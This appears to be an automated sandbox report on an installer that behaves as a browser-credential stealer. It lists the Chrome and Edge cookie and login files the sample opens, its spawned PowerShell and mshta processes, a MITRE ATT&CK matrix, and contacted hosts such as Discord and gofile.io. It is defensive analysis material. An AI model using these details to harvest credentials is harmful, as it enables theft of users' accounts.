Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Desktop\BJZFPPWAPT.pdf VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Desktop\EEGWXUHVUG.png VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Desktop\PALRGUCVEH.png VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\AppData\Local\Temp VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\AppData\Local\Temp\importantfiles.zip VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\times.ttf VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

Stealing of Sensitive Information

barindex
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\passwords.dbJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local Storage\leveldbJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login DataJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldbJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\ILURIACookiesJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web DataJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\webdata.dbJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login DataJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\DefaultJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.logJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\NetworkJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\CookiesJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeDirectory queried: C:\Users\user\DocumentsJump to behavior

Mitre Att&ck Matrix

ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity InformationAcquire InfrastructureValid Accounts1
Windows Management Instrumentation		12
Registry Run Keys / Startup Folder		12
Process Injection		11
Masquerading		1
OS Credential Dumping		1
Security Software Discovery		Remote Services1
Email Collection		1
Encrypted Channel		Exfiltration Over Other Network MediumAbuse Accessibility Features
CredentialsDomainsDefault Accounts1
Command and Scripting Interpreter		1
DLL Side-Loading		12
Registry Run Keys / Startup Folder		21
Virtualization/Sandbox Evasion		LSASS Memory3
Process Discovery		Remote Desktop Protocol11
Data from Local System		2
Non-Application Layer Protocol		Exfiltration Over BluetoothNetwork Denial of Service
Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)1
DLL Side-Loading		12
Process Injection		Security Account Manager21
Virtualization/Sandbox Evasion		SMB/Windows Admin SharesData from Network Shared Drive3
Application Layer Protocol		Automated ExfiltrationData Encrypted for Impact
Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook1
DLL Side-Loading		NTDS1
Application Window Discovery		Distributed Component Object ModelInput CaptureProtocol ImpersonationTraffic DuplicationData Destruction
Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon ScriptSoftware PackingLSA Secrets1
Remote System Discovery		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC ScriptsSteganographyCached Domain Credentials12
File and Directory Discovery		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup ItemsCompile After DeliveryDCSync35
System Information Discovery		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1423647 Sample: SetupSpuckwars_1.15.5.exe Startdate: 10/04/2024 Architecture: WINDOWS Score: 52 59 ptb.discord.com 2->59 61 e1b6282a-e30f-473c-ab0b-3aa78cea1281-00-2xez1th6hyjs3.kirk.replit.dev 2->61 63 2 other IPs or domains 2->63 9 SetupSpuckwars_1.15.5.exe 179 2->9         started        13 spuckwars.exe 2->13         started        process3 file4 51 C:\Users\user\AppData\Local\...\spuckwars.exe, PE32+ 9->51 dropped 53 C:\Users\user\AppData\Local\...\nsis7z.dll, PE32 9->53 dropped 55 C:\Users\user\AppData\Local\...\System.dll, PE32 9->55 dropped 57 12 other files (none is malicious) 9->57 dropped 81 Drops large PE files 9->81 15 spuckwars.exe 18 9->15         started        signatures5 process6 dnsIp7 69 api.gofile.io 51.38.43.18, 443, 49738, 49740 OVHFR France 15->69 71 e1b6282a-e30f-473c-ab0b-3aa78cea1281-00-2xez1th6hyjs3.kirk.replit.dev 35.247.106.28, 443, 49737 GOOGLEUS United States 15->71 73 discord.com 162.159.128.233, 443, 49739, 49741 CLOUDFLARENETUS United States 15->73 43 C:\Users\user\AppData\...\spuckwars.exe, PE32+ 15->43 dropped 45 C:\Users\user\AppData\Local\...\webdata.db, SQLite 15->45 dropped 47 C:\Users\user\AppData\Local\...\passwords.db, SQLite 15->47 dropped 49 3 other files (1 malicious) 15->49 dropped 75 Drops PE files to the startup folder 15->75 77 Tries to harvest and steal browser information (history, passwords, etc) 15->77 79 Drops large PE files 15->79 20 cmd.exe 1 15->20         started        22 spuckwars.exe 1 15->22         started        25 spuckwars.exe 1 15->25         started        27 6 other processes 15->27 file8 signatures9 process10 dnsIp11 29 cmd.exe 1 20->29         started        31 conhost.exe 20->31         started        65 chrome.cloudflare-dns.com 172.64.41.3, 443, 49730, 49731 CLOUDFLARENETUS United States 22->65 67 162.159.61.3, 443, 49752, 49753 CLOUDFLARENETUS United States 25->67 33 powershell.exe 15 27->33         started        35 powershell.exe 15 27->35         started        37 tasklist.exe 1 27->37         started        39 5 other processes 27->39 process12 process13 41 mshta.exe 29->41         started       

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


windows-stand

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

SourceDetectionScannerLabelLink
SetupSpuckwars_1.15.5.exe0%ReversingLabs
SetupSpuckwars_1.15.5.exe0%VirustotalBrowse

Dropped Files

SourceDetectionScannerLabelLink
C:\Users\user\AppData\Local\Temp\0b804954-c12d-4b4a-b2c0-33a436a4bcce.tmp.node4%ReversingLabs
C:\Users\user\AppData\Local\Temp\0b804954-c12d-4b4a-b2c0-33a436a4bcce.tmp.node6%VirustotalBrowse
C:\Users\user\AppData\Local\Temp\28ab86ab-db2b-4366-822d-9ffba643684e.tmp.node0%ReversingLabs
C:\Users\user\AppData\Local\Temp\28ab86ab-db2b-4366-822d-9ffba643684e.tmp.node2%VirustotalBrowse
C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\d3dcompiler_47.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\d3dcompiler_47.dll0%VirustotalBrowse
C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\ffmpeg.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\ffmpeg.dll0%VirustotalBrowse
C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\libEGL.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\libEGL.dll0%VirustotalBrowse
C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\libGLESv2.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\libGLESv2.dll0%VirustotalBrowse
C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe0%ReversingLabs
C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe1%VirustotalBrowse
C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\d3dcompiler_47.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\d3dcompiler_47.dll0%VirustotalBrowse
C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\ffmpeg.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\ffmpeg.dll0%VirustotalBrowse
C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\libEGL.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\libEGL.dll0%VirustotalBrowse
C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\libGLESv2.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\libGLESv2.dll0%VirustotalBrowse

Unpacked PE Files

⊘No Antivirus matches

Domains

SourceDetectionScannerLabelLink
chrome.cloudflare-dns.com0%VirustotalBrowse
ptb.discord.com2%VirustotalBrowse
discord.com0%VirustotalBrowse

URLs

SourceDetectionScannerLabelLink
https://anglebug.com/46740%URL Reputationsafe
http://anglebug.com/46330%URL Reputationsafe
https://anglebug.com/73820%URL Reputationsafe
https://public.dns.iij.jp/0%URL Reputationsafe
http://crbug.com/5502920%URL Reputationsafe
http://crbug.com/8832760%URL Reputationsafe
https://anglebug.com/77140%URL Reputationsafe
https://anglebug.com/55360%URL Reputationsafe
https://bugs.fuchsia.dev/p/fuchsia/issues/detail?id=1071060%URL Reputationsafe
https://dns11.quad9.net/dns-query0%URL Reputationsafe
http://crbug.com/11657510%URL Reputationsafe
https://chromeenterprise.google/policies/#BrowserSwitcherExternalGreylistUrl0%URL Reputationsafe
https://crbug.com/7058650%URL Reputationsafe
http://crbug.com/1102630%URL Reputationsafe
http://anglebug.com/62480%URL Reputationsafe
http://anglebug.com/69290%URL Reputationsafe
http://anglebug.com/52810%URL Reputationsafe
https://public.dns.iij.jp/IIJ0%URL Reputationsafe
https://anglebug.com/72460%URL Reputationsafe
https://anglebug.com/73690%URL Reputationsafe
https://anglebug.com/74890%URL Reputationsafe
https://crbug.com/5930240%URL Reputationsafe
https://crbug.com/11378510%URL Reputationsafe
https://dns64.dns.google/dns-query0%URL Reputationsafe
http://anglebug.com/2152skipVSConstantRegisterZeroIn0%URL Reputationsafe
http://anglebug.com/2152skipVSConstantRegisterZeroIn0%URL Reputationsafe
https://crbug.com/13005750%URL Reputationsafe
https://crbug.com/7104430%URL Reputationsafe
https://crbug.com/10423930%URL Reputationsafe
https://crbug.com/10600120%URL Reputationsafe
http://anglebug.com/30780%URL Reputationsafe
http://anglebug.com/75530%URL Reputationsafe
https://chromeenterprise.google/policies/#BrowserSwitcherExternalSitelistUrl0%URL Reputationsafe
http://anglebug.com/53750%URL Reputationsafe
http://anglebug.com/3246allowClearForRobustResourceInitSome0%URL Reputationsafe
http://anglebug.com/53710%URL Reputationsafe
http://anglebug.com/39970%URL Reputationsafe
http://anglebug.com/47220%URL Reputationsafe
http://crbug.com/6426050%URL Reputationsafe
https://dns11.quad9.net/dns-querydns11.quad9.net9.9.9.11149.112.112.112620:fe::112620:fe::fe:11Pd0%Avira URL Cloudsafe
https://public.dns.iij.jp/dns-query0%URL Reputationsafe
http://anglebug.com/14520%URL Reputationsafe
http://anglebug.com/75560%URL Reputationsafe
https://alekberg.net/privacy0%URL Reputationsafe
https://crbug.com/650547callClearTwiceUsing0%URL Reputationsafe
https://crbug.com/650547callClearTwiceUsing0%URL Reputationsafe
http://anglebug.com/66920%URL Reputationsafe
http://anglebug.com/35020%URL Reputationsafe
http://anglebug.com/36230%URL Reputationsafe
http://anglebug.com/36250%URL Reputationsafe
http://anglebug.com/36240%URL Reputationsafe
https://chromium.dns.nextdns.io0%URL Reputationsafe
http://anglebug.com/50070%URL Reputationsafe
http://crbug.com/11810680%URL Reputationsafe
http://anglebug.com/28940%URL Reputationsafe
https://nextdns.io/privacy0%Avira URL Cloudsafe
http://anglebug.com/38620%URL Reputationsafe
http://anglebug.com/38620%URL Reputationsafe
https://dns.google/dns-query0%URL Reputationsafe
http://anglebug.com/48360%URL Reputationsafe
http://int3.de/0%URL Reputationsafe
http://anglebug.com/43840%URL Reputationsafe
http://anglebug.com/43840%URL Reputationsafe
https://chrome-devtools-frontend.appspot.com/0%URL Reputationsafe
https://anglebug.com/7246enableCaptureLimitsSet0%URL Reputationsafe
http://anglebug.com/39700%URL Reputationsafe
http://anglebug.com/42670%URL Reputationsafe
https://chromeenterprise.google/policies/#BrowserSwitcherUrlList0%URL Reputationsafe
https://chromeenterprise.google/policies/#BrowserSwitcherUrlList0%URL Reputationsafe
http://crbug.com/11811930%URL Reputationsafe
http://anglebug.com/4820%URL Reputationsafe
http://anglebug.com/4820%URL Reputationsafe
http://anglebug.com/30450%URL Reputationsafe
https://anglebug.com/76040%URL Reputationsafe
http://crbug.com/3083660%URL Reputationsafe
http://anglebug.com/59010%URL Reputationsafe
http://anglebug.com/59010%URL Reputationsafe
http://anglebug.com/39650%URL Reputationsafe
http://anglebug.com/64390%URL Reputationsafe
http://anglebug.com/74060%URL Reputationsafe
https://chrome-devtools-frontend.appspot.com/%s%s/%s/NetworkResourceLoaderstreamWriteInspectableWebC0%Avira URL Cloudsafe
http://anglebug.com/75270%URL Reputationsafe
https://anglebug.com/71610%URL Reputationsafe
http://anglebug.com/54690%URL Reputationsafe
https://www.quad9.net/home/privacy/0%URL Reputationsafe
https://anglebug.com/71620%URL Reputationsafe
http://anglebug.com/37290%URL Reputationsafe
https://doh.cleanbrowsing.org/doh/adult-filter0%URL Reputationsafe
https://passwords.google.comCompte0%Avira URL Cloudsafe
http://anglebug.com/7036Frontend0%Avira URL Cloudsafe
https://nextdns.io/privacy0%VirustotalBrowse
https://chrome-devtools-frontend.appspot.com/%s%s/%s/NetworkResourceLoaderstreamWriteInspectableWebC0%VirustotalBrowse
http://anglebug.com/7036Frontend0%VirustotalBrowse
https://dns11.quad9.net/dns-querydns11.quad9.net9.9.9.11149.112.112.112620:fe::112620:fe::fe:11Pd4%VirustotalBrowse

Domains and IPs

Contacted Domains

NameIPActiveMaliciousAntivirus DetectionReputation
e1b6282a-e30f-473c-ab0b-3aa78cea1281-00-2xez1th6hyjs3.kirk.replit.dev
35.247.106.28
truefalse
    		unknown
    chrome.cloudflare-dns.com
    		172.64.41.3
    		truefalseunknown
    ptb.discord.com
    		162.159.128.233
    		truefalseunknown
    discord.com
    		162.159.128.233
    		truefalseunknown
    api.gofile.io
    		51.38.43.18
    		truefalse
      		high

      URLs from Memory and Binaries

      NameSourceMaliciousAntivirus DetectionReputation
      https://anglebug.com/4674libGLESv2.dll.0.drfalse
      • URL Reputation: safe
      		unknown
      https://support.google.com/chrome/answer/6098869zh-CN.pak.0.dr, fr.pak.0.drfalse
        		high
        https://doh.familyshield.opendns.com/dns-queryspuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpfalse
          		high
          http://anglebug.com/4633libGLESv2.dll.0.drfalse
          • URL Reputation: safe
          		unknown
          https://anglebug.com/7382libGLESv2.dll.0.drfalse
          • URL Reputation: safe
          		unknown
          https://public.dns.iij.jp/spuckwars.exe, 00000006.00000000.2483211234.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpfalse
          • URL Reputation: safe
          		unknown
          http://crbug.com/550292libGLESv2.dll.0.drfalse
          • URL Reputation: safe
          		unknown
          http://crbug.com/883276libGLESv2.dll.0.drfalse
          • URL Reputation: safe
          		unknown
          https://photos.google.com/settings?referrer=CHROME_NTPzh-CN.pak.0.dr, fr.pak.0.drfalse
            		high
            https://anglebug.com/7714libGLESv2.dll.0.drfalse
            • URL Reputation: safe
            		unknown
            https://doh.cox.net/dns-queryspuckwars.exe, 00000006.00000000.2483211234.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpfalse
              		high
              https://anglebug.com/5536libGLESv2.dll.0.drfalse
              • URL Reputation: safe
              		unknown
              https://dns11.quad9.net/dns-querydns11.quad9.net9.9.9.11149.112.112.112620:fe::112620:fe::fe:11Pdspuckwars.exe, 00000006.00000000.2483211234.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpfalse
              • 4%, Virustotal, Browse
              • Avira URL Cloud: safe
              		unknown
              https://bugs.fuchsia.dev/p/fuchsia/issues/detail?id=107106libGLESv2.dll.0.drfalse
              • URL Reputation: safe
              		unknown
              https://dns11.quad9.net/dns-queryspuckwars.exe, 00000006.00000000.2483211234.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpfalse
              • URL Reputation: safe
              		unknown
              http://crbug.com/1165751libGLESv2.dll.0.drfalse
              • URL Reputation: safe
              		unknown
              https://developers.cloudflare.com/1.1.1.1/privacy/public-dns-resolver/spuckwars.exe, 00000006.00000000.2483211234.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpfalse
                		high
                https://chromeenterprise.google/policies/#BrowserSwitcherExternalGreylistUrlzh-CN.pak.0.dr, fr.pak.0.drfalse
                • URL Reputation: safe
                		unknown
                https://crbug.com/705865libGLESv2.dll.0.drfalse
                • URL Reputation: safe
                		unknown
                http://crbug.com/110263libGLESv2.dll.0.drfalse
                • URL Reputation: safe
                		unknown
                https://www.nic.cz/odvr/CZ.NICspuckwars.exe, 00000006.00000000.2483211234.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpfalse
                  		high
                  http://anglebug.com/6248libGLESv2.dll.0.drfalse
                  • URL Reputation: safe
                  		unknown
                  http://anglebug.com/6929libGLESv2.dll.0.drfalse
                  • URL Reputation: safe
                  		unknown
                  https://www.google.com/chrome/privacy/eula_text.htmlGfr.pak.0.drfalse
                    		high
                    http://anglebug.com/5281libGLESv2.dll.0.drfalse
                    • URL Reputation: safe
                    		unknown
                    https://public.dns.iij.jp/IIJspuckwars.exe, 00000006.00000000.2483211234.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpfalse
                    • URL Reputation: safe
                    		unknown
                    https://nextdns.io/privacyspuckwars.exe, 00000006.00000000.2483211234.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpfalse
                    • 0%, Virustotal, Browse
                    • Avira URL Cloud: safe
                    		unknown
                    https://anglebug.com/7246libGLESv2.dll.0.drfalse
                    • URL Reputation: safe
                    		unknown
                    https://anglebug.com/7369libGLESv2.dll.0.drfalse
                    • URL Reputation: safe
                    		unknown
                    https://anglebug.com/7489libGLESv2.dll.0.drfalse
                    • URL Reputation: safe
                    		unknown
                    https://crbug.com/593024libGLESv2.dll.0.drfalse
                    • URL Reputation: safe
                    		unknown
                    https://crbug.com/1137851libGLESv2.dll.0.drfalse
                    • URL Reputation: safe
                    		unknown
                    https://developers.google.com/speed/public-dns/privacyGooglespuckwars.exe, 00000006.00000000.2483211234.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpfalse
                      		high
                      https://dns64.dns.google/dns-queryspuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpfalse
                      • URL Reputation: safe
                      		unknown
                      https://doh.opendns.com/dns-queryspuckwars.exe, 00000006.00000000.2483211234.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpfalse
                        		high
                        https://issuetracker.google.com/161903006libGLESv2.dll.0.drfalse
                          		high
                          http://anglebug.com/2152skipVSConstantRegisterZeroInlibGLESv2.dll.0.drfalse
                          • URL Reputation: safe
                          • URL Reputation: safe
                          		unknown
                          https://crbug.com/1300575libGLESv2.dll.0.drfalse
                          • URL Reputation: safe
                          		unknown
                          https://crbug.com/710443libGLESv2.dll.0.drfalse
                          • URL Reputation: safe
                          		unknown
                          https://crbug.com/1042393libGLESv2.dll.0.drfalse
                          • URL Reputation: safe
                          		unknown
                          https://crbug.com/1060012libGLESv2.dll.0.drfalse
                          • URL Reputation: safe
                          		unknown
                          http://anglebug.com/3078libGLESv2.dll.0.drfalse
                          • URL Reputation: safe
                          		unknown
                          http://anglebug.com/7553libGLESv2.dll.0.drfalse
                          • URL Reputation: safe
                          		unknown
